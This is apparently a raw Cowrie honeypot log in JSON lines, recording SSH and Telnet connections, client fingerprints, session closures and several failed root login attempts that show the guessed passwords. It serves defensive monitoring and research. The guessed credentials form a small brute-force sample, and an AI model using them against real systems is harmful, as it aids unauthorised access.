{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32966,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdafa0c161ca","protocol":"telnet","message":"New connection: 192.119.13.58:32966 (10.17.0.5:23) [session: cdafa0c161ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:28.977767Z"}
{"eventid":"cowrie.session.closed","duration":41.86826968193054,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:33.059278Z","src_ip":"192.119.13.58","session":"75f66aeb3d90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":41398,"dst_ip":"159.203.135.109","dst_port":22,"session":"e068e2a710ba","protocol":"ssh","message":"New connection: 43.163.121.249:41398 (159.203.135.109:22) [session: e068e2a710ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:34.529328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:34.533802Z","src_ip":"43.163.121.249","session":"e068e2a710ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:34.780027Z","src_ip":"43.163.121.249","session":"e068e2a710ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60472,"dst_ip":"10.17.0.5","dst_port":23,"session":"a00db648375c","protocol":"telnet","message":"New connection: 192.119.13.58:60472 (10.17.0.5:23) [session: a00db648375c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:35.401684Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"wakeup","message":"login attempt [root/wakeup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:35.798707Z","src_ip":"43.163.121.249","session":"e068e2a710ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.501774072647095,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:36.608896Z","src_ip":"192.119.13.58","session":"84406c3ea5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:37.047841Z","src_ip":"43.163.121.249","session":"e068e2a710ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41310,"dst_ip":"10.17.0.5","dst_port":23,"session":"d13055f21766","protocol":"telnet","message":"New connection: 192.119.13.58:41310 (10.17.0.5:23) [session: d13055f21766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:37.955053Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36592,"dst_ip":"10.17.0.5","dst_port":23,"session":"d082eac64dfd","protocol":"telnet","message":"New connection: 192.119.13.58:36592 (10.17.0.5:23) [session: d082eac64dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:43.402595Z"}
{"eventid":"cowrie.session.closed","duration":35.388105392456055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:46.235407Z","src_ip":"192.119.13.58","session":"f374c8995a7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07705736160278,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:48.163398Z","src_ip":"192.119.13.58","session":"cbabac00bda7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.20112681388855,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:48.554258Z","src_ip":"192.119.13.58","session":"71021a039075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35060,"dst_ip":"10.17.0.5","dst_port":23,"session":"83eed5743234","protocol":"telnet","message":"New connection: 192.119.13.58:35060 (10.17.0.5:23) [session: 83eed5743234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:49.090916Z"}
{"eventid":"cowrie.session.closed","duration":33.67761254310608,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:52.590943Z","src_ip":"192.119.13.58","session":"ed662f2e18b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":35152,"dst_ip":"159.203.135.109","dst_port":22,"session":"07a36d949280","protocol":"ssh","message":"New connection: 103.77.242.62:35152 (159.203.135.109:22) [session: 07a36d949280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:52.778024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:52.783256Z","src_ip":"103.77.242.62","session":"07a36d949280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:53.022882Z","src_ip":"103.77.242.62","session":"07a36d949280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfktynby","message":"login attempt [root/dfktynby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:53.740836Z","src_ip":"103.77.242.62","session":"07a36d949280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":48634,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f7febd5d47d","protocol":"ssh","message":"New connection: 150.109.25.130:48634 (159.203.135.109:22) [session: 2f7febd5d47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:54.797699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:54.806100Z","src_ip":"150.109.25.130","session":"2f7febd5d47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:54.983242Z","src_ip":"103.77.242.62","session":"07a36d949280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:55.045190Z","src_ip":"150.109.25.130","session":"2f7febd5d47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alina","message":"login attempt [root/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:56.032505Z","src_ip":"150.109.25.130","session":"2f7febd5d47d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42554,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7962c75718","protocol":"telnet","message":"New connection: 192.119.13.58:42554 (10.17.0.5:23) [session: 0e7962c75718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:57.197276Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:57.275594Z","src_ip":"150.109.25.130","session":"2f7febd5d47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.50081992149353,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:57.331451Z","src_ip":"192.119.13.58","session":"b0d5b90864e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46874,"dst_ip":"10.17.0.5","dst_port":23,"session":"23e4d898028d","protocol":"telnet","message":"New connection: 192.119.13.58:46874 (10.17.0.5:23) [session: 23e4d898028d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:58.343883Z"}
{"eventid":"cowrie.session.closed","duration":32.7376127243042,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:44:59.220637Z","src_ip":"192.119.13.58","session":"81918884774d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50356149673462,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:02.101141Z","src_ip":"192.119.13.58","session":"6be6c5f311c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34906,"dst_ip":"10.17.0.5","dst_port":23,"session":"d19be1dc9f99","protocol":"telnet","message":"New connection: 192.119.13.58:34906 (10.17.0.5:23) [session: d19be1dc9f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:02.504663Z"}
{"eventid":"cowrie.session.closed","duration":0.011792898178100586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:02.516300Z","src_ip":"192.119.13.58","session":"d19be1dc9f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.58930206298828,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:04.535634Z","src_ip":"192.119.13.58","session":"b640843230ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.39923286437988,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:04.548051Z","src_ip":"192.119.13.58","session":"85a24cbd1c91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49098,"dst_ip":"10.17.0.5","dst_port":23,"session":"8299c21dee6e","protocol":"telnet","message":"New connection: 192.119.13.58:49098 (10.17.0.5:23) [session: 8299c21dee6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:05.000681Z"}
{"eventid":"cowrie.session.closed","duration":35.16241145133972,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:10.563902Z","src_ip":"192.119.13.58","session":"a00db648375c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48192,"dst_ip":"10.17.0.5","dst_port":23,"session":"7144bf469de4","protocol":"telnet","message":"New connection: 192.119.13.58:48192 (10.17.0.5:23) [session: 7144bf469de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:10.912907Z"}
{"eventid":"cowrie.session.closed","duration":44.528719902038574,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:13.506387Z","src_ip":"192.119.13.58","session":"cdafa0c161ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.753031492233276,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:13.707988Z","src_ip":"192.119.13.58","session":"d13055f21766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.392627239227295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:14.795085Z","src_ip":"192.119.13.58","session":"d082eac64dfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42384,"dst_ip":"10.17.0.5","dst_port":23,"session":"a90e80b49d7c","protocol":"telnet","message":"New connection: 192.119.13.58:42384 (10.17.0.5:23) [session: a90e80b49d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:16.914707Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":54154,"dst_ip":"159.203.135.109","dst_port":22,"session":"81f6aaca8296","protocol":"ssh","message":"New connection: 165.154.5.249:54154 (159.203.135.109:22) [session: 81f6aaca8296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:16.960249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:16.969612Z","src_ip":"165.154.5.249","session":"81f6aaca8296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:17.198326Z","src_ip":"165.154.5.249","session":"81f6aaca8296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9999","message":"login attempt [root/9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:18.094415Z","src_ip":"165.154.5.249","session":"81f6aaca8296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.088813304901123,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:19.001596Z","src_ip":"192.119.13.58","session":"7144bf469de4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:19.313401Z","src_ip":"165.154.5.249","session":"81f6aaca8296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.405003309249878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:20.495843Z","src_ip":"192.119.13.58","session":"83eed5743234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41228,"dst_ip":"10.17.0.5","dst_port":23,"session":"067ac86b0fef","protocol":"telnet","message":"New connection: 192.119.13.58:41228 (10.17.0.5:23) [session: 067ac86b0fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:21.968381Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48402,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8707f226dd9","protocol":"telnet","message":"New connection: 192.119.13.58:48402 (10.17.0.5:23) [session: a8707f226dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:23.856134Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46850,"dst_ip":"10.17.0.5","dst_port":23,"session":"a71db0dacd22","protocol":"telnet","message":"New connection: 192.119.13.58:46850 (10.17.0.5:23) [session: a71db0dacd22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:31.295863Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":42354,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d9580691e5c","protocol":"ssh","message":"New connection: 43.134.100.175:42354 (159.203.135.109:22) [session: 6d9580691e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:31.501796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:31.513667Z","src_ip":"43.134.100.175","session":"6d9580691e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:31.751473Z","src_ip":"43.134.100.175","session":"6d9580691e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49454,"dst_ip":"10.17.0.5","dst_port":23,"session":"e022ae72e698","protocol":"telnet","message":"New connection: 192.119.13.58:49454 (10.17.0.5:23) [session: e022ae72e698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:32.091405Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:32.735389Z","src_ip":"43.134.100.175","session":"6d9580691e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54624,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fc21b5a8d3","protocol":"telnet","message":"New connection: 192.119.13.58:54624 (10.17.0.5:23) [session: 69fc21b5a8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:33.674786Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:33.976333Z","src_ip":"43.134.100.175","session":"6d9580691e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55748,"dst_ip":"10.17.0.5","dst_port":23,"session":"125c7ab4a855","protocol":"telnet","message":"New connection: 192.119.13.58:55748 (10.17.0.5:23) [session: 125c7ab4a855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:45:33.986273Z"}
